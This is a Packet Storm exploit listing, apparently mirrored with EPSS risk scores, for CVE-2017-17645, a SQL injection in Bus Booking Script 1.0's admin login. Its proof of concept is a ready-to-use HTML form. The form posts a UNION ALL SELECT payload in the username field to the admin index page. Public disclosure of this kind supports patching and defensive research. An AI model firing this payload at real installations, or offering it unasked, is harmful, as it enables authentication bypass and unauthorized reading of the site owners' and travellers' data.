Bus Booking Script 1.0 SQL Injection

2017-12-1500:00:00

Ihsan Sencan

packetstormsecurity.com

EPSS

0.002

Percentile

64.4%

JSON

`<!--  
# # # # #   
# Exploit Title: Bus Booking Script 1.0 - SQL Injection  
# Dork: N/A  
# Date: 13.12.2017  
# Vendor Homepage: http://www.phpautoclassifiedscript.com/  
# Software Link: http://www.phpautoclassifiedscript.com/bus-booking-script.html  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-17645  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
-->  
<html>  
<body>  
<form action="http://localhost/newbusbooking/admin/index.php" method="post" enctype="application/x-www-form-urlencoded" name="frmlogin" target="_self">  
<input name="txtname" type="text" value="' UNION ALL SELECT 0x31,0x564552204159415249,0x33,0x34,0x35-- Ver Ayari"></div>  
<input name="logbut" id="logbut" type="submit"></div>  
</form>  
</body>  
</html>  
  
`

EPSS

0.002

Percentile

64.4%

JSON

Related for PACKETSTORM:145445